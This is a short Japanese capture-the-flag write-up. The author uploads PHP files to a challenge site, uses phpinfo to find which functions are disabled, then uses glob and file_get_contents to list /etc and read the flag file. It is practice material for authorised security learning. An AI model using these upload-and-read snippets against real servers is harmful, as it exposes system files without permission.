Your php function didnt work? maybe some info will help you xD
PS: Flag is somewhere in /etc
Note: This chall does not require any brute forcing
アクセスするとファイルをアップロードでき、それを閲覧できるサイトのようだ。
index.php
site1.png
phpが設置できるので、system
を呼べばよいのだが動作しない。
infoに助けがあると問題文にあるので、以下のinfo.phpでphpinfo
を呼び出す。
<?php
echo "info.php";
phpinfo();
?>
disable_functionsを見る。
任意コード実行できるものが軒並み使用不可となっている。
しかし、glob
やfile_get_contents
は使用できる。
以下のglob.phpで問題文で指定されている/etc内をすべて見る。
<?php
echo "glob.php";
print_r(glob("/etc/*"));
?>
glob.php
site2.png
/etc/[email protected]
なる怪しいファイルがあるようだ。
以下のfgetcont.phpで読み込む。
<?php
echo "fgetcont.php";
echo file_get_contents("/etc/[email protected]");
?>
fgetcont.php
flag.png
flagが書かれていた。